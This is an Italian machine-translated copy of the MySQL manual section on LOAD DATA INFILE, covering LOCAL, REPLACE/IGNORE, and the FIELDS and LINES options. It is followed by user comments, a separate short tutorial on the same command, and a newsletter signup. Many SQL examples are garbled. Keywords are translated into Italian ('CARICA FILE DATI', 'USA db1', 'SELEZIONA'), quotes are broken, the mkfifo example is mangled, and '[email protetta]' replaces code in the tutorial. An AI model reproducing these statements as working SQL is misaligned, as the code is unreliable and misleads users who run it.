Il comando LOAD DATA INFILE legge le righe da un file di testo e le inserisce in una tabella ad altissima velocità. Se viene specificata la parola chiave LOCAL, il file viene letto dall'host client. Se LOCAL non è specificato, il file deve trovarsi sul server. (L'opzione LOCAL è disponibile in MySQL versione 3.22.6 e successive.)

Se i file di testo da leggere si trovano sul server, per motivi di sicurezza questi file devono trovarsi nella directory del database o essere leggibili da tutti gli utenti. Inoltre, per utilizzare il comando LOAD DATA INFILE sui file del server, è necessario disporre dei privilegi FILE sull'host del server. Vedere la sezione 4.2.7 Privilegi concessi da MySQL.

In MySQL 3.23.49 e MySQL 4.0.2, il comando LOCAL non funzionerà se il daemon mysqld viene avviato con --local-infile=0 o se il client non ha il supporto LOCAL abilitato. Vedere la sezione 4.2.4 Considerazioni sulla sicurezza relative al comando LOAD DATA LOCAL.

Se viene specificata la parola chiave LOW_PRIORITY, l'esecuzione di questo comando LOAD DATA verrà ritardata fino a quando gli altri client non avranno terminato la lettura di questa tabella.

Se viene specificata la parola chiave CONCURRENT quando si lavora con le tabelle MyISAM, altri thread possono recuperare i dati dalla tabella durante l'esecuzione del comando LOAD DATA. L'uso di questa funzione, ovviamente, avrà un leggero impatto sulle prestazioni su LOAD DATA , anche se nessun altro thread sta utilizzando la tabella contemporaneamente.

Quando si utilizza l'opzione LOCALE, l'esecuzione potrebbe essere leggermente più lenta rispetto a consentire al server di accedere direttamente ai file, poiché il contenuto del file deve essere spostato dall'host client al server. D'altra parte, in questo caso non sono necessari i privilegi FILE per caricare i file locali.

Se si utilizzano versioni di MySQL precedenti alla 3.23.24, non è possibile leggere da un FIFO utilizzando il comando LOAD DATA INFILE. Se è necessario leggere da una FIFO (ad esempio, lo standard output di gunzip), è necessario utilizzare LOAD DATA LOCAL INFILE.

Puoi anche caricare file di dati usando l'utilità mysqlimport. Questa utilità esegue il caricamento dei file inviando i comandi LOAD DATA INFILE al server. L'opzione --local fa sì che mysqlimport legga i file di dati dall'host client. È possibile specificare l'opzione --compress per ottenere prestazioni migliori su reti lente se sia il client che il server supportano il protocollo di compressione dei dati.

Nei casi in cui i file si trovano sul server, quest'ultimo agisce secondo le seguenti regole:

  • Se viene fornito un percorso assoluto (completo) a un file, il server utilizza questo percorso senza modifiche.
  • Se viene specificato un percorso relativo al file, specificando una o più home directory, la ricerca del file sarà relativa alle directory specificate nella directory dei dati del server (datadir).
  • Se viene fornito un percorso a un file senza specificare le directory home, il server cerca il file nella directory del database in uso.

Ne consegue che il file specificato come `./myfile.txt" viene letto dalla directory dei dati del server, mentre il file specificato come `myfile.txt" viene letto dalla directory del database in uso. Ad esempio, il seguente comando LOAD DATA legge il file data.txt nella directory del database per db1 perché db1 è il database corrente, anche se il comando indica esplicitamente di caricare il file nella tabella del database db2:

MySQL> USA db1; mysql> CARICA FILE DATI "data.txt" NELLA TABELLA db2.my_table;

Le parole chiave REPLACE e IGNORE controllano l'elaborazione dei record di input che duplicano i record esistenti con gli stessi valori di chiave univoci. Se viene specificato REPLACE, le nuove righe sostituiranno le righe esistenti con la stessa chiave univoca. Se specifichi IGNORE , le righe di input che hanno la stessa chiave univoca di quelle esistenti verranno ignorate. Se non viene specificato nessuno dei parametri, si verifica un errore quando viene trovato un valore di chiave duplicato e il resto del file di testo viene ignorato.

Se i dati vengono caricati da un file locale utilizzando la parola chiave LOCAL, il server non sarà in grado di interrompere il trasferimento dei dati nel mezzo di questa operazione, quindi il comportamento predefinito del comando è lo stesso di quando viene specificato IGNORE.

Quando si utilizza LOAD DATA INFILE su tabelle MyISAM vuote, tutti gli indici non univoci vengono creati in un pacchetto separato (come in REPAIR). Questo di solito accelera notevolmente l'operazione LOAD DATA INFILE nel caso di un numero elevato di indici.

Il comando LOAD DATA INFILE è complementare a SELECT...INTO OUTFILE. Vedere la sezione 6.4.1 Sintassi dell'istruzione SELECT. Per scrivere i dati dal database in un file, utilizzare SELECT ... INTO OUTFILE . Per rileggere i dati nel database, viene utilizzato LOAD DATA INFILE. La sintassi per FIELDS e LINES è la stessa in entrambi i comandi. Entrambe le parti sono facoltative, ma se vengono specificate entrambe, FIELDS deve precedere LINES .

Se viene specificato FIELDS, anche ciascuna delle sue sottoespressioni (TERMINATED BY , ENCLOSED BY e ESCAPED BY ) è facoltativa, ma almeno una di esse deve essere specificata.

Se l'asserzione FIELDS non è definita, per impostazione predefinita i suoi parametri assumeranno i seguenti valori:

CAMPI TERMINATI DA "\t" RACCHIUSI DA "" ESCAPED DA "\\"

Se la clausola LINES non è definita, per impostazione predefinita ha la seguente struttura:

LINEE TERMINATE DA "\n"

In altre parole, con le impostazioni di default, il comando LOAD DATA INFILE, durante la lettura dei dati di input, funzionerà come segue:

  • Cerca le terminazioni di riga come caratteri `\n'
  • Dividi le righe in campi per caratteri di tabulazione.
  • Non aspettarti che i campi siano racchiusi tra virgolette.
  • Interpreta l'occorrenza di tabulazioni, newline o `\" preceduti da `\" come valori letterali che fanno parte del valore del campo.

Al contrario, se le impostazioni predefinite per la scrittura dell'output sono attive, il comando SELECT ... INTO OUTFILE funzionerà come segue:

  • Inserisci caratteri di tabulazione tra i campi.
  • Non racchiudere i campi tra virgolette. Usa i caratteri `\" per sfuggire alle istanze di tabulazione, newline o `\" che appaiono tra i valori dei campi.
  • Inserisci i caratteri di nuova riga alla fine di ogni voce.

Si noti che la voce FIELDS ESCAPED BY `\" richiede due barre rovesciate per leggere un valore come una singola barra rovesciata.

L'opzione IGNORA numero RIGHE può essere utilizzata per ignorare l'intestazione dei nomi di colonna all'inizio di un file:

Mysql> LOAD DATA INFILE "/tmp/file_name" IN TABELLA test IGNORA 1 RIGHE;

Quando si utilizza SELECT ... INTO OUTFILE con LOAD DATA INFILE per leggere i dati dal database in un file e quindi tornare dal file al database, le opzioni di elaborazione del campo e della riga per entrambi i comandi devono corrispondere. In caso contrario, LOAD DATA INFILE non sarà in grado di interpretare correttamente il contenuto di questo file. Supponiamo che il comando SELECT ... INTO OUTFILE venga utilizzato per scrivere in un file con campi separati da virgole:

Mysql> SELEZIONA * IN OUTFILE "data.txt" CAMPI TERMINATI DA "," DA ...;

Mysql> LOAD DATA INFILE "data.txt" NELLA TABELLA table2 CAMPI TERMINATI DA ",";

Mysql> LOAD DATA INFILE "data.txt" NELLA TABELLA table2 CAMPI TERMINATI DA "\t";

Un risultato simile si otterrebbe se ogni riga di input fosse interpretata come un campo separato.

Il comando LOAD DATA INFILE può essere utilizzato anche per leggere file da fonti esterne. Ad esempio, i campi in un file in formato database dBASE saranno separati da virgole e racchiusi tra virgolette. Se le righe in questo file terminano con nuove righe, è possibile utilizzare il comando seguente per scrivere il file, che illustra le opzioni di impostazione che elaborano campi e righe:

Mysql> LOAD DATA INFILE "data.txt" NELLA TABELLA tbl_name CAMPI TERMINATI DA "," INCLUSI DA """ RIGHE TERMINATE DA "\n";

Qualsiasi opzione che gestisce campi e righe può essere una stringa vuota (""). Se la stringa non è vuota, i valori delle opzioni FIELDS ENCLOSED BY e FIELDS ESCAPED BY devono contenere un carattere. I valori dell'opzione CAMPI TERMINATI DA e LINEE TERMINATI DA possono contenere più di un carattere. Ad esempio, per scrivere righe che terminano con coppie ``ritorno a capo - avanzamento riga'' (come nei file di testo di MS DOS o Windows), è necessario specificare la seguente espressione: LINEE TERMINATE DA "\r\n" .

CREATE TABLE barzellette (a INT NOT NULL AUTO_INCREMENT PRIMARY KEY, joke TEXT NOT NULL); LOAD DATA INFILE "/tmp/jokes.txt" NELLA TABELLA jokes CAMPI TERMINATI DA ""; LINEE TERMINATE DA "\n%%\n" (scherzo);

L'opzione FIELDS ENCLOSED BY controlla i campi racchiusi tra determinati caratteri. Se il parametro OPTIONALLY viene omesso, nell'output (SELECT ... INTO OUTFILE) tutti i campi saranno racchiusi nei caratteri specificati in ENCLOSED BY . Di seguito viene mostrato un esempio di tale output (che utilizza una virgola come separatore di campo):

"1","una stringa","100.20" "2","una stringa contenente una , virgola","102.20" "3","una stringa contenente una \" virgoletta","102.20" "4"," una stringa contenente un \", virgolette e virgola","102.20"

Se viene specificato il parametro OPTIONALLY, vengono selezionati solo i campi dei tipi CHAR e VARCHAR con il carattere specificato in ENCLOSED BY:

1,"una stringa",100.20 2,"una stringa contenente un , virgola",102.20 3,"una stringa contenente una \" virgoletta",102.20 4,"una stringa contenente un \", virgolette e virgola",102.20

Si noti che l'aspetto dei caratteri ENCLOSED BY all'interno del valore del campo viene evitato applicando un prefisso da ESCAPED BY prima di essi. Si noti inoltre che se ESCAPED BY è null, è possibile generare un output che l'istruzione LOAD DATA INFILE non può leggere correttamente. Ad esempio, se il carattere di escape è una stringa vuota, l'output sopra sarà come mostrato di seguito. Si noti che il secondo campo della quarta riga contiene una virgola seguita da virgolette, che (erroneamente) sembra delimitare il campo indicato:

1,"una stringa",100.20 2,"una stringa contenente una ", virgola",102.20 3,"una stringa contenente una " virgoletta",102.20 4,"una stringa contenente una ", virgoletta e virgola",102.20

Per l'input, il carattere ENCLOSED BY, se presente, viene rimosso da entrambe le estremità dei valori del campo. (Questo è vero indipendentemente dal fatto che il parametro OPTIONALLY sia specificato o meno: il parametro OPTIONALLY viene ignorato quando si lavora con l'input.) Se viene rilevato un carattere ENCLOSED BY preceduto da un carattere ESCAPED BY, viene interpretato come parte del campo corrente valore. Inoltre, i doppi caratteri ENCLOSED BY che si trovano all'interno di un campo vengono interpretati come singoli caratteri ENCLOSED BY se il campo stesso inizia con quel carattere. Ad esempio, se viene specificato ENCLOSED BY """, le virgolette vengono gestite come segue:

"Il "GRANDE" boss" -> Il "GRANDE" boss Il "GRANDE" boss -> Il "GRANDE" boss Il ""GRANDE"" boss -> Il ""GRANDE" boss

L'opzione FIELDS ESCAPED BY controlla la scrittura o la lettura di caratteri speciali. Se il carattere FIELDS ESCAPED BY non è vuoto, viene utilizzato come prefisso per i seguenti caratteri nell'output:

  • CAMPI ESCAPE DA simbolo
  • CAMPI RACCHIUSI DA simbolo
  • Primo carattere di CAMPI TERMINATI DA e LINEE TERMINATI DA
  • Carattere ASCII 0 (in realtà, ASCII `0" viene scritto dopo il carattere di escape, non un byte con valore zero)

Se il carattere FIELDS ESCAPED BY è vuoto, non viene eseguito l'escape di nessun carattere. In effetti, non ha senso specificare un carattere di escape vuoto, soprattutto se i valori dei campi nei dati in elaborazione contengono uno qualsiasi dei caratteri nell'elenco sopra.

Se il carattere FIELDS ESCAPED BY non è vuoto, nel caso di input, le occorrenze di tale carattere vengono rimosse e il carattere che segue tale occorrenza viene considerato letteralmente come parte del valore del campo. Le eccezioni sono contrassegnate da "0" o "N" (ad es. \0 o \N se il carattere di escape è "\"). Queste sequenze vengono interpretate come ASCII 0 (un byte con valore zero) e NULL . Vedere le regole per gestione di un valore nullo sotto.

Vedere la sezione 6.1.1 Letterali: Rappresentazione di stringhe e numeri per ulteriori informazioni sulla sintassi del carattere di escape `\".

In alcuni casi, le opzioni di elaborazione dei campi e delle righe interagiscono:

  • Se LINES TERMINATED BY è una stringa vuota e FIELDS TERMINATED BY è una stringa non vuota, anche le righe terminano con FIELDS TERMINATED BY .
  • Se entrambi FIELDS TERMINATED BY e FIELDS ENCLOSED BY sono vuoti (""), viene utilizzato il formato stringa fisso (senza delimitatori). Il formato stringa fisso non fornisce alcun separatore tra i campi. Invece, durante la lettura e la scrittura dei valori delle colonne, viene utilizzata la larghezza "output"" delle colonne. Ad esempio, se una colonna è dichiarata come INT(7) , i valori per quella colonna vengono scritti utilizzando campi larghi 7 caratteri. I valori di input per questa colonna si ottengono leggendo 7 caratteri. Il formato stringa fisso influisce anche sulla gestione dei valori NULL (vedi sotto). Si noti che il formato a dimensione fissa non funzionerà quando si utilizza un set di caratteri multibyte.

I valori NULL verranno gestiti in modo diverso a seconda delle opzioni FIELDS e LINES utilizzate:

  • Per i valori predefiniti FIELDS e LINES, NULL viene scritto come \N sull'output e \N viene letto come NULL sull'input (supponendo che il carattere ESCAPED BY sia `\").
  • Se FIELDS ENCLOSED BY non è vuoto, un campo il cui valore è una parola di lettere NULL viene letto come un valore NULL (al contrario di una parola NULL tra i caratteri FIELDS ENCLOSED BY, che viene letta come stringa " NULL ").
  • Se FIELDS ESCAPED BY è vuoto, NULL viene scritto come parola NULL.
  • Nel formato stringa fisso (che si verifica se entrambi gli specificatori FIELDS TERMINATED BY e FIELDS ENCLOSED BY sono vuoti), NULL viene scritto come stringa vuota. Si noti che, di conseguenza, il valore NULL e la stringa vuota in questa tabella non saranno distinguibili quando scritti nel file, poiché entrambi sono scritti come stringhe vuote. Se vuoi che questi valori siano diversi quando il file viene riletto, non dovresti usare il formato stringa fisso.

Alcuni casi non supportati dall'istruzione LOAD DATA INFILE:

  • Righe di dimensioni fisse (FIELDS TERMINATED BY e FIELDS ENCLOSED BY sono entrambi vuoti) e colonne BLOB o TEXT.
  • Se viene specificato un delimitatore che corrisponde o è un prefisso di un altro, LOAD DATA INFILE non sarà in grado di interpretare correttamente l'input. Ad esempio, la seguente istruzione FIELDS causerà problemi: FIELDS TERMINATED BY """ ENCLOSED BY """
  • Se l'opzione FIELDS ESCAPED BY è vuota, l'occorrenza di un carattere FIELDS ENCLOSED BY o LINES TERMINATED BY in un valore di campo seguito da un carattere FIELDS TERMINATED BY farà sì che il comando LOAD DATA INFILE termini prematuramente la lettura del campo o della riga. Questo perché LOAD DATA INFILE non può determinare correttamente dove finisce un campo o una riga.

L'esempio seguente carica tutte le colonne della tabella dei dati personali:

Mysql> CARICA FILE DATI "persondata.txt" NELLA TABELLA persondata;

L'elenco dei campi non è specificato, quindi il comando LOAD DATA INFILE prevede che le righe di input riempiano ogni colonna della tabella. Questo utilizza i valori predefiniti FIELDS e LINES.

Se vuoi caricare solo alcune delle colonne della tabella, devi specificare un elenco di colonne:

Mysql> CARICA FILE DATI "persondata.txt" NELLA TABELLA persondata (col1, col2,...);

L'elenco dei campi deve essere specificato anche nei casi in cui l'ordine dei campi nel file di input differisce dall'ordine delle colonne nella tabella data. In caso contrario, MySQL non sarà in grado di mappare i campi di input alle colonne della tabella.

Se una riga ha troppo pochi campi, le colonne per le quali non sono presenti campi nel file di input vengono impostate sui valori predefiniti. L'assegnazione dei valori di default è descritta nella sezione 6.5.3 Sintassi dell'istruzione CREATE TABLE.

Il valore di un campo vuoto viene interpretato in modo diverso rispetto all'assenza di un valore:

  • Per i tipi di stringa, la colonna è impostata sulla stringa vuota.
  • Per i tipi numerici, la colonna è impostata su 0 .
  • Per i tipi di data e ora, la colonna è impostata sul valore appropriato ``zero"' per quel tipo. Vedere la sezione 6.2.2 Tipi di dati di data e ora.

Si noti che questi sono gli stessi valori che finirebbero in una colonna assegnando esplicitamente una stringa vuota a colonne di tipo stringa, numerica o data o ora in un'istruzione INSERT o UPDATE.

Le colonne TIMESTAMP vengono impostate solo sulla data o sull'ora correnti se la colonna è impostata su NULL o (solo per la prima colonna TIMESTAMP) se la colonna TIMESTAMP è al di fuori dell'elenco dei campi, se tale elenco è specificato.

Se la stringa di input ha troppi campi, i campi aggiuntivi vengono ignorati e il numero di avvisi aumenterà.

Il comando LOAD DATA INFILE interpreta tutti i dati di input come stringhe, quindi non è possibile specificare valori numerici per le colonne ENUM o SET allo stesso modo dei comandi INSERT. Tutti i valori ENUM e SET devono essere specificati come stringhe!

Quando si utilizza l'API C, è possibile ottenere informazioni su una query chiamando la funzione API mysql_info() alla fine di una query LOAD DATA INFILE. Di seguito viene mostrato il formato della riga delle informazioni per questo caso:

Record: 1 Eliminati: 0 Ignorati: 0 Avvisi: 0

Gli avvisi vengono emessi nelle stesse circostanze di quando si scrivono valori con un comando INSERT (vedere la sezione 6.4.3 Sintassi dell'istruzione INSERT), tranne per il fatto che il comando LOAD DATA INFILE genera inoltre avvisi quando ci sono troppi pochi o troppi campi nell'input corda. Gli avvisi non vengono memorizzati da nessuna parte; il numero di avvisi può essere utilizzato solo per verificare se le azioni specificate sono state completate normalmente. Se vuoi sapere esattamente cosa causa gli avvisi, dovresti SELECT ... INTO OUTFILE su un altro file e confrontare il risultato con il file di input originale: questo è l'unico modo per ottenere queste informazioni.

Se hai bisogno di CARICARE I DATI per leggere da una pipe, puoi usare il seguente trucco:

Mkfifo /mysql/db/x/x chmod 666 /mysql/db/x/x cat /nt/mysql/db/x/x mysql -e "LOAD DATA INFILE "x" INTO TABLE x" x

Quando si utilizza una versione di MySQL precedente alla 3.23.25, quanto sopra può essere eseguito solo con LOAD DATA LOCAL INFILE .

Per ulteriori informazioni sull'efficienza di INSERT rispetto a LOAD DATA INFILE e sul guadagno di velocità di LOAD DATA INFILE, vedere la sezione 5.2.9 Velocità di esecuzione della query INSERT.

Commenti degli utenti

Inserito da Jason Titus[Elimina][Modifica]

"Gli avvisi non vengono memorizzati da nessuna parte; il numero di avvisi può essere utilizzato solo come un
indicazione se tutto è andato bene"

Mi stai prendendo in giro. Questo è fatto come una sorta di punizione DBA? cioè. - Noi
SAPPI quali erano i problemi, ma dovrai solo creare un file di output e guardare attraverso
i tuoi milioni di record per trovarli". MySQL non li inseriva nel log degli errori,
dove appartengono? Vai avanti e rendilo un'opzione, ma questo è abbastanza guai da creare
torno a Oracle (e ci vuole molto).

Inserito da campbell venerdì 17 maggio 2002 @ 6:24[Elimina][Modifica]

Secondo quello. (!) Non capisco come fai
scrivi quella frase con la faccia seria.

Inserito da Jonathon Padfield il venerdì 17 maggio 2002, @ 6:24[Elimina][Modifica]

Inoltre, nessuna informazione su quali righe vengono ignorate
viene data.

Inserito da venerdì 17 maggio 2002 alle ore 6:24[Elimina][Modifica]

Questa funzione è molto utile quando si invia un file
INSERIRE da una pagina web. Se l'utente colpisce
aggiornare e ripubblicare i dati dei moduli che risultano in a
successivo INSERT degli stessi dati della chiave primaria,
boom, l'app si interrompe. In questo modo, l'utente potrebbe
premi F5 finché la loro faccia non diventa blu, e loro
non interromperà l'istruzione REPLACE.

[Elimina][Modifica]

Ho una cartella MyDB in c:\mysql\data
Metto lì Data.txt e quando eseguo
CARICA FILE LOCALE DATI "Data.txt" NELLA TABELLA
MyTable dice: Il comando è stato eseguito correttamente
ma NESSUN valore viene aggiunto a MyTable.
Sono sotto W2K

Inserito da van hoof philip venerdì 17 maggio 2002, @ 6:24[Elimina][Modifica]

Voglio sincronizzare il mio database con un altro
database di volta in volta. Ciò significa che io
dovrà usare la cosa REPLACE. Ma per quanto riguarda
record che non esistono più nel più recente
Banca dati. Verranno eliminati in quello MySQL?
C'è un modo per eliminarli automaticamente? O è il
unica soluzione per eliminare la mia tabella MySQL e ricrearla
prima di iniziare a caricarlo. Sto usando crontab
script per questa operazione quindi nessuna interazione umana
è possibile durante queste operazioni.

Inserito da venerdì 17 maggio 2002 alle ore 6:24[Elimina][Modifica]

La documentazione non è chiara su cosa
costituisce una chiave/indice "unico" in quest'area. Esso
backreferences a "insert", ma insert no
avere un tale vincolo. Ho "trovato quella primaria
le chiavi sono sufficientemente uniche, ma ho dovuto aggiungere
primarie dove non le volevo, forse sì
manca qualcosa....

Inserito da venerdì 17 maggio 2002 alle ore 6:24[Elimina][Modifica]

È molto frustrante ricevere avvisi quando uno lo è
importare dati in un database MySQL
in grado di accedere a qualsiasi informazione sugli avvisi.
MySQL ha davvero bisogno di aggiungere una funzionalità che lo farà
segnalare di cosa tratta un avviso piuttosto che solo
segnalare un avviso. Idealmente le informazioni su
l'avviso dovrebbe essere fornito immediatamente. In
per lo meno dovrebbe essere una sorta di registro degli errori
creato a cui un utente può accedere.

Inserito da venerdì 17 maggio 2002 alle ore 6:24[Elimina][Modifica]

Sul soggetto "F5 finché la loro faccia non diventa blu"...

Questo dovrebbe essere gestito nell'applicazione. Esso
di certo non fa male dire all'utente: "Tu hai
già inserito questo. Per favore, smettila di rinfrescarti."

In realtà, a causa del numero di fine iperimpaziente
perdenti là fuori, questo sembra particolarmente
buona idea.

Inserito da Larry Irwin martedì 20 agosto 2002 @ 11:50[Elimina][Modifica]

Sarebbe molto utile avere un'opzione aggiuntiva
a "IGNORARE VINCOLI" durante il caricamento
processi.

Inserito da giovedì 5 settembre 2002, @ 1:34[Elimina][Modifica]

C'è un problema con "su un tavolo MyISAM vuoto, tutto
gli indici non univoci vengono creati in un batch separato"
poiché il meccanismo utilizzato è una "riparazione con
keycache" che può essere molto lento se ne hai molti
indici. Uno ha davvero bisogno di usare il meccanismo per
interrompere la creazione delle chiavi e quindi eseguire la riparazione con
myisamchk usando "ripara con ordinamento" come descritto in
sezione 5.2.9 (se riesci a farlo funzionare:-()

Inserito da mercoledì 9 ottobre 2002, @ 12:43[

Hai mai dovuto caricare dati da un file in una tabella da un file? In caso contrario, cercherò di parlarti brevemente di un modo per farlo.

Carica i dati nella tabella dal file

LOAD DATA INFILE "data.csv" INTO TABLE my_table Questo costrutto ti aiuterà a caricare i dati da un file nella tua tabella.

Se vuoi caricare dati formattati, ad esempio separati da una virgola, la seguente costruzione ti aiuterà:

CARICA IL FILE DI DATI "data.csv" NELLA TABELLA my_table CAMPI TERMINATI DA "," ALLEGATO DA """ ESCAPE DA "\\" LINEE TERMINATE DA "\r\n"
Cosa significa questo?

  • Cerca le terminazioni di riga come caratteri "\r\n"
  • Dividi le righe in campi con caratteri virgola (,).
  • Aspettati che i campi siano racchiusi tra virgolette.
  • Interpreta l'occorrenza di tabulazioni, newline o "\" preceduti da "\" come valori letterali che fanno parte del valore del campo.

LOAD DATA INFILE costrutto

Tutto ciò che abbiamo descritto sopra è il famoso costrutto LOAD DATA INFILE.

Accesso negato per errore utente

Se si verifica improvvisamente un errore accesso negato all'utente, quindi devi solo aggiungere l'attributo LOCALE prima INFILE. Per esempio:

LOAD DATA LOCAL INFILE "data.csv" NELLA TABELLA my_table

Carica i dati nella tabella dal file per campi specifici

LOAD DATA LOCAL INFILE "data.csv" NELLA TABELLA t1 CAMPI TERMINATI DA "," LINEE TERMINATE DA "\n" (@ col1 ,@ col2 ,@ col3 ,@ col4 ) nome set [email protetta] col4, id [email protetta] col2;

Qui specifichiamo il nome del file (data.csv) da cui verranno caricati i dati. Nella costruzione (@col1,@col2,@col3,@col4) enumeriamo tutte le colonne del file per un loro ulteriore utilizzo. E poi, usando il noto metodo degli insiemi, impostiamo i valori di queste colonne per campi specifici della tabella.

CARICA FILE DATI con JOIN

Se devi compilare una tabella da un file utilizzandone uno esistente, probabilmente hai subito pensato di utilizzare giuntura. Il codice per un tale inserimento di dati è simile a questo:

LOAD DATA LOCAL INFILE "data.csv" NELLA TABELLA table_1 CAMPI TERMINATI DA "\t" RIGHE TERMINATI DA "\r\n" (@col1,@col2,@col3,@col4) set [email protetta], username=(seleziona il nome utente dagli utenti dove user_id = @ col1);

LA CAMPANA

C'è chi ha letto questa notizia prima di te.
Iscriviti per ricevere gli ultimi articoli.
E-mail
Nome
Cognome
Come vorresti leggere La campana
Niente spam